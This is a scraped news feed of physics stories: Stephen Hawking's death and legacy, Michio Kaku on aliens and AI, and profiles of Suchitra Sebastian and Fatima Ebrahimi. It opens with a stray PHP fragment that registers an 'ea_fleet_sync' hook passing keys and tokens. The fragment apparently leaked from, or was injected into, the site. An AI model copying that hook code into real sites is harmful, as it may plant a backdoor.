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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Physicist – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 14 Mar 2018 12:38:24 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Physicist – Brief News https://briefnews.eu 32 32 Physicist Stephen Hawking Dead at 76: The Big Bang Theory Cast Pays Tribute https://briefnews.eu/physicist-stephen-hawking-dead-at-76-the-big-bang-theory-cast-pays-tribute/ https://briefnews.eu/physicist-stephen-hawking-dead-at-76-the-big-bang-theory-cast-pays-tribute/#respond Wed, 14 Mar 2018 11:27:10 +0000 http://briefnews.eu/physicist-stephen-hawking-dead-at-76-the-big-bang-theory-cast-pays-tribute/

Stephen Hawking, the world-renowned physicist who authored A Brief History of Time, died on Wednesday morning after a decades-long battle with ALS. He was 76.

Hawking’s children, Lucy, Robert and Tim, announced their father’s passing in the following statement:

We are deeply saddened that our beloved father passed away today. He was a great scientist and an extraordinary man whose work and legacy will live on for many years. His courage and persistence with his brilliance and humor inspired people across the world. He once said, “It would not be much of a universe if it wasn’t home to the people you love.” We will miss him forever.

Hawking was first diagnosed with ALS in 1963, at the age of 21. He was only expected to live for another couple of years, but was ultimately discovered to have a rare form of the disease that progressed at a much slower rate. He was able to walk on his own for much of the 1960s with the help of crutches, but eventually required a mobilized wheelchair. When he lost the use of his voice, he began using a unique method of synthesized computer vocalizations that allowed him to remain vocal for the rest of his life.

A Brief History of Time was released in 1988, and went on to sell 10 million copies, making Hawking a public figure. His life was depicted in the 2014 biopic The Theory of Everything; Eddie Redmayne went on to win the Academy Award for Best Actor in a Leading Role. Redmayne released the following statement to our sister site Deadline:

We have lost a truly beautiful mind, an astonishing scientist and the funniest man I have ever had the pleasure to meet. My love and thoughts are with his extraordinary family.

Hawking guest-starred as himself on numerous TV shows, including Star Trek: The Next Generation and The Simpsons:


He later recurred on The Big Bang Theory, first appearing in the Season 5 episode “The Hawking Excitation.” Watch his first scene opposite Jim Parsons below:

Hawking would return to Big Bang for six more episodes, including the most recent season premiere last September. Cast members shared the following tributes on social media.

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Stephen Hawking, 76, was known for this work in the scientific field and his discoveries over the years and renowned as one of the greatest scientists of all time.

Some of his theories included radiation from black holes, as well as being the first to use the theory of relativity explaining cosmology. He was author of the best-selling book A Brief History of Time in 1988.

However he was diagnosed with motor neurone disease at an early age, with his first symptoms being discovered when he was at Oxford university. He was diagnosed when he was 21 in 1963.

Despite having a life expectancy of just two years, he went on to live another 55 years.

But how much was Stephen Hawking worth?

The professor accumulated $ 20 million (£14 million) upon his death, according to celebritynetworth.com

His work includes a number of best-selling books alongside his research on black holes and cosmology.

He was also the director of research at the Center for Theoretical Cosmology at the University of Cambridge.

According to Inverse, his work has also meant a number of large fees for his speeches and awards, one of which was the Fundamental Physics Prize in which $ 3 million (£2.1 million) in cash was awarded.

Hawking featured in a number of TV shows as himself. Hawking first appeared in popular media in 1993 on Star Trek, followed by The Simpsons in 1999.

He also guest starred in Futurama and the Big Bang Theory, as well as Father Ted and using his voice for other shows and sitcoms.

The story of his life was made into a film in 2014, called The Theory of Everything in which Eddie Redmayne, who played the professor, won an Academy Award for the role.

The professor has been married twice. He met his first wife Jane Wilde at university, who was a friend of his sister.

They married in 1964, and had three children together: Robert, Lucy and Timothy.

However they divorced in 1995, when Hawking fell in love with his nurse Elaine Mason.

They married that year, only to divorce in 2006.

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Stephen Hawking, a legendary physicist, cosmologist and author of several course-altering books died at the age of 76 on Wednesday. In a brief look back at his legacy, here are some of the great quotes from the stellar scientist.

Diagnosed with amyotrophic lateral sclerosis (ALS, or Lou Gehrig’s disease) and given two years to live, Hawkings would surprise his detractors and go on to lecture across the planet and write books such as ‘A Brief History of Time’ and ‘The Universe in a Nutshell.’

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The former University of Cambridge Lucasian Professor of Mathematics was renowned for his contributions to gravitational physics and quantum mechanics, but many remember him for his astounding wit, shrewd skepticism blended with faith in humanity, and his profound understanding of the human spirit. Here are just a few of his best anecdotes – a full list would take almost as long as he lived to compile, and picking out ‘the best’ from the wealth of wisdom he left behind is a futile endeavor.

We are just an advanced breed of monkeys on a minor planet of a very average star. But we can understand the Universe. That makes us something very special.

If aliens visit us, the outcome would be much as when Columbus landed in America, which didn’t turn out well for the Native Americans. We only have to look at ourselves to see how intelligent life might develop into something we wouldn’t want to meet.

The greatest enemy of knowledge is not ignorance, it is the illusion of knowledge.

One, remember to look up at the stars and not down at your feet. Two, never give up work. Work gives you meaning and purpose and life is empty without it. Three, if you are lucky enough to find love, remember it is there and don’t throw it away.

My advice to other disabled people would be, concentrate on things your disability doesn’t prevent you doing well, and don’t regret the things it interferes with. Don’t be disabled in spirit, as well as physically.

So next time someone complains that you have made a mistake, tell him that may be a good thing. Because without imperfection, neither you nor I would exist.

My goal is simple. It is a complete understanding of the universe, why it is as it is and why it exists at all.

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Enlarge / Professor Stephen Hawking addressing The Cambridge Union on November 21, 2017 in Cambridge, Cambridgeshire. (credit: Photo by Chris Williamson/Getty Images)

Stephen Hawking, the British physicist and author of A Brief History of Time, has passed away at the age of 76.

“He was a great scientist and an extraordinary man whose work and legacy will live on for many years,” according to a statement released to British media early Wednesday morning.

“His courage and persistence with his brilliance and humour inspired people across the world. He once said, ‘It would not be much of a universe if it wasn’t home to the people you love.’ We will miss him for ever.”

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Stephen Hawking, one of the most influential scientists in the modern era, has died at age 76.

A spokesperson for his family released a statement saying he died peacefully at his home in Cambridge.

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Renowned British scientist Stephen Hawking, known for his breakthrough ideas in theoretical physics and space research, has died at the age of 76, according to media reports citing his family’s spokesperson.

“We are deeply saddened that our beloved father passed away today. He was a great scientist and an extraordinary man whose work and legacy will live on for many years,” Hawking’s children Lucy, Robert and Tim said in a statement.

The world-famous astrophysicist had been battling amyotrophic lateral sclerosis (ALS), a debilitating neurological condition, for over half a century.

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Theoretical physicist and futurist Michio Kaku believes that humans will make contact with alien civilization this century, but expects they will be largely peaceful – unlike robots, which pose a greater threat to humanity.

Kaku made the revelations during a Reddit AMA (Ask me Anything), where intrigued users asked questions relating to artificial intelligence and extraterrestrial life. “Let me stick my neck out. I personally feel is that within this century, we will make contact with an alien civilization, by listening in on their radio communications,” Kaku stated, adding that he expects they will see us like we see forest animals.

“And what are their intentions. Are they expansive and aggressive, or peaceful. Another possibility is that they land on the White House lawn and announce their existence. But I think that is unlikely, since we would be like forest animals to them, i.e. not worth communicating with.”

Kaku doubled down on this theory in another response, musing that humans will probably be seen as insignificant to alien society. At the core of their peaceful approach is knowledge, according to Kaku, who believes the extraterrestrials have had thousands of years to resolve sectarian, fundamentalist, nationalist questions.

The physicist admitted, however, that this neutral stance could shift if “we get in the way.” “They still might be dangerous if they simply don’t care about us and we get in the way. In War of the Worlds, the aliens did not hate us. We were simply in the way.”

“But for the most part, I think they will be peaceful, but view us like we view forest animals,” he concluded.

In contrast, Kaku suggested that robots will need chips implanted in their brains to control any “murderous thoughts.” Envisaging their future development, the scientist predicts that their intelligence level will go from that of a bug to a level on par with that of a monkey. “By that point they might become dangerous and even replace humans, near the end of the century. So I think we should put a chip in their brain to shut them off if they have murderous thoughts.”

Ultimately, humans may have to accept their fate and merge with their robot overlords, according to Kaku. “But what happens centuries from now, when robots evade even our most sophisticated fail-safe system?? At that point, I think we should merge with them.”

“This may sound strange to some people, but remember that it is the people of the far future (not us) who will decide how far they want to modify themselves to deal with super smart robots.”

The dangers of AI and the grim possibility of a future with ‘killer robots’ have been addressed by several industry experts, including Elon Musk and Stephen Hawking. Musk was among more than a hundred tech leaders to call on the United Nations to ban the use of lethal autonomous weapons, or ‘killer robots, last year. The SpaceX and Tesla CEO believes AI is a “fundamental threat to human civilization.”

World-renowned physicist Stephen Hawking holds similar fears about the future of AI, warning that one day robots could entirely edge out human beings and become a new life form.

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Physicist Suchitra Sebastian speaks with OZY after a monthlong journey along the Silk Route. At one point, she found herself stranded at the Uzbekistan-Kyrgyzstan border, denied entry into Kyrgyzstan. Undeterred, she traveled through the night, attempting to re-enter Kyrgyzstan through Russia and was stopped periodically by rifle-armed guards.

Even in her research, Sebastian feels drawn to what she calls the “spaces betwixt.” At the University of Cambridge, she seeks to discover the bizarre properties that emerge when materials enter an in-between state as they start to shift from one phase of matter to another. These properties include superconductivity — the ability to conduct electricity without resistance or energy loss. Physicists have typically made superconductors by cooling certain materials to near-absolute zero — about -460°F, the point at which molecules and atoms show minimal movement, and a factor limiting their application in the real world. But Sebastian’s explorations of in-between states of matter may one day lead to materials that superconduct at higher temperatures.

This adventurer scientist worries that physics has become less about exploration and more about avoiding mistakes.

“If you can find [a material] that superconducts at room temperature, then you can change the world,” says Peter Abbamonte, a physicist at the University of Illinois. Superconducting cables, for instance, could transmit electricity without losing energy, unlike conventional cables, which lose up to 30 percent of the energy carried over long distances. They could also broaden the use of renewable energy, delivering electricity generated by wind and solar power plants — often concentrated in remote deserts and offshore regions — to dense cities.

In 2015, Sebastian made the renowned — and controversial — discovery that a material known as samarium hexaboride acts like both an insulator, which doesn’t conduct electricity, and a metal, which does. If reproduced and validated by other research groups, “that would really be a landmark for the field,” says Abbamonte. Ruslan Prozorov, a condensed matter physicist at Iowa State University and DOE Ames National Laboratory, adds that Sebastian “doesn’t shy away from making statements she thinks are correct, even if they go against common theories.”

It’s out-of-the-box thinking that’s essential for scientific progress, but Prozorov cautions that more research is needed to confirm Sebastian’s claims. What’s more, Abbamonte says, “most of the projected uses are maybe not even a few years, but quite some years away.”

Sebastian, 41, has large, wide-set eyes and speaks with breathless enthusiasm. Raised by her mother, she spent a peripatetic youth in India, the U.K. and Berkeley, California. She loved studying physics at the Women’s Christian College in Chennai but found academia “very insular” and switched gears. After earning an MBA, she worked in management consulting, which lacked the possibility of discovery she craved. She returned to physics, enrolling in a doctoral program at Stanford.

And that’s when she saw a material she was researching behave differently at extremely low temperatures from what she had predicted. “It looked like we were measuring a three-dimensional piece of crystal,” Sebastian says, “but the spins [of the elementary particles comprising it] were behaving like they would in a two-dimensional material” — that is, the spins were arranged in layers, and only those in the same layer aligned with each other. “It was my first exposure to making a discovery,” she recalls. “It didn’t seem like work anymore. It was play.”

Sebastian continues to adjust the parameters of materials — exposing them to high pressure and strong magnetic fields — thereby nudging them toward the liminal state between different phases of matter, known as the quantum critical point. Think of the point when water turns into steam: The quantum critical point is similar, except it’s dominated by strange quantum behavior, such as the fleeting appearance of particles out of nothing. The phases of matter on either side of this point are so unstable they create the opportunity for a new, more stable phase to emerge — one featuring exotic properties — like superconductivity.

In this way, rather than rely on serendipity, Sebastian seeks to systematically identify the ingredients needed for superconductivity at higher temperatures and find materials that naturally possess them. And if they turn out to be not quite superconducting? She could “fine-tune” them by adjusting the magnetic field or pressure to trigger superconductivity. Ultimately, she hopes to use this “quantum alchemy” to make superconductors from a variety of materials, cull the most promising candidates and use them to guide the production of optimal superconductors.

Copper oxide superconductors may offer a starting point. They’re the best-studied materials that superconduct far above near-absolute zero. Earlier studies suggest their high-temperature superconductivity may be connected to a mysterious in-between state, in which they show properties of both metals and nonmetals. The state of matter Sebastian discovered in samarium hexaboride could shed light on the origins of high-temperature superconductivity in copper oxide superconductors, which could, in turn, suggest how to fine-tune other materials so they too could superconduct at higher temperatures, possibly even at room temperature.

Sebastian’s group has found that 2D materials, and those on the cusp of being magnetic, also seem to have the necessary ingredients for high-temperature superconductivity. They’ve shown that pinching a magnet with a diamond anvil at extremely high pressures turns the magnet into a superconductor, a method they’ve used with other materials they suspect to be close to superconducting.

While it’s unclear whether Sebastian’s research will lead to room-temperature superconductors, she doesn’t let doubt consume her. “If it stops being fun, I’ll find the next thing to do,” she says. This adventurer scientist worries that physics has become less about exploration and more about avoiding mistakes. “If the goal is never to make a mistake, you’re never going to make a discovery.” The quest for energy efficiency may be well worth the wrong turns along the way.

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]]> https://briefnews.eu/could-this-quantum-physicist-revolutionize-power-grids/feed/ 0 Could This Young Physicist Finally Crack the Code to Nuclear Fusion? https://briefnews.eu/could-this-young-physicist-finally-crack-the-code-to-nuclear-fusion/ https://briefnews.eu/could-this-young-physicist-finally-crack-the-code-to-nuclear-fusion/#respond Tue, 31 Oct 2017 08:03:01 +0000 http://briefnews.eu/could-this-young-physicist-finally-crack-the-code-to-nuclear-fusion/ Amid the chaos of the Iran–Iraq War and its turbulent aftermath, Fatima Ebrahimi found her refuge in physics. As a teenager in the 1980s, she could do little more than observe the turmoil, but physics and its equations? That she could master. “Even if I was surrounded by all this craziness, it was a thing I could just do,” she tells OZY.

Now a physicist at the Princeton Plasma Physics Laboratory, Ebrahimi wants to bring order to another form of chaos: plasma, the electrically charged, superhot gas that makes up the sun. Deep inside the sun, plasma fuels nuclear fusion reactions, in which hydrogen atoms collide to form helium atoms, releasing massive amounts of energy. Ebrahimi’s research focuses on replicating that process on Earth in devices called tokamaks. Using computer simulations, she’s uncovering the physics behind a method she hopes will simplify the design of these devices, as well as reduce their size and cost, bringing us closer to creating a limitless supply of clean, renewable energy — the holy grail of energy research.

Most emissions of carbon dioxide, a major contributor to global warming, come from burning fossil fuels, used to power vehicles and generate electricity. “We desperately need another energy source that’s clean,” says Barrett Rogers, a theoretical and computational physicist at Dartmouth College. Ebrahimi’s fusion research “could be a breakthrough,” he says.And unlike nuclear fission — the splitting apart of atoms, which fuels today’s nuclear power plants — nuclear fusion doesn’t produce radioactive material.

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To be sure, it’s early days yet. To make fusion power a reality, reactors need to generate more energy than they consume, which tokamaks have yet to do. And while Ebrahimi’s model of plasma “is definitely the right first step,” it’s “not the final step,” Rogers says. Plus, although several of her computer simulations have held up in lab experiments, others still require testing.

Ebrahimi, 46, has a broad smile and a full-throated laugh. A math whiz growing up, she was captivated by the notion of a unifying law of physics, an ever-elusive equation that could explain the entire universe. After studying physics at the Polytechnic University of Tehran, she knew she had to venture elsewhere to find success as a woman in science. In 2003, she earned a Ph.D. in plasma physics from the University of Wisconsin-Madison, with a focus on fusion, which she continued to investigate as a faculty member at the University of New Hampshire and, later, Princeton.

One goal of her research is to supersede the limitations of today’s conventional, doughnut-shaped tokamaks, which consist of a magnetic coil, or solenoid, resting within a central hole. An electric current runs through the solenoid, triggering another current in the plasma and generating a magnetic field that confines and heats the plasma. The extremely high temperatures — hundreds of millions of degrees Celsius — cause fusion to occur between hydrogen atoms in the plasma, releasing tons of energy. But, creating enough fusion to generate electricity requires a large solenoid and, therefore, a large tokamak. (For perspective, you could drive a tractor-trailer through a multibillion-dollar tokamak now under construction in France.) Plus, the current that flows through the plasma relies on ramping up the current in the solenoid; once that runs out, researchers need to deliver a fresh pulse of current to the solenoid, again and again.

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As a workaround, Ebrahimi is investigating coaxial helicity injection (CHI), a method of starting fusion reactions that doesn’t involve solenoids, thereby simplifying the design of conventional tokamaks and making them both more compact and less costly. Instead of using a solenoid to generate a magnetic field, CHI involves injecting a magnetic field into the floor of the tokamak, removing the need to deliver periodic pulses of current. As it’s injected, the magnetic field — picture a series of concentric loops — inflates inside the tokamak. When a current runs through the magnetic field lines, they snap shut and pinch off, a process called magnetic reconnection, essentially forming a magnetic “balloon” filled with the current needed to fuel fusion while also confining the plasma.

Through computer simulations of CHI, Ebrahimi is studying its underlying physics, which could inform the design of future tokamaks. Her simulations suggest, for instance, that narrowing the bottom of the magnetic balloon that fills the tokamak creates a stronger current flowing through the plasma, making the device produce energy more efficiently. Conversely, she modeled regions at the edges of the plasma that can disrupt that current; understanding how this happens is key to preventing it. Now, she’s investigating whether CHI could allow tokamaks to run indefinitely, a major step toward making them commercially viable.

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Beyond nuclear fusion, magnetic reconnection is behind a number of explosive phenomena, like solar flares. “It’s an area where people are making contributions,” says Adil Hassam, a professor of physics at the University of Maryland. “Ebrahimi and her colleagues will be among those at the forefront.”

Stewart Prager, Ebrahimi’s Ph.D. adviser and now a professor at Princeton, cites this intellectual drive as Ebrahimi’s major strength. “Her mind is always going in many directions.” But at the same time, he adds, she’s “always purposeful.”

It’s the sort of drive that keeps Ebrahimi awake late at night, churning away at her research. “[Physics is] like a piece of music that comes into your head,” she says. “Tomorrow the same thing comes, because it’s beautiful to you.”

Getting the world closer to infinite clean energy? Now that would be beautiful music.

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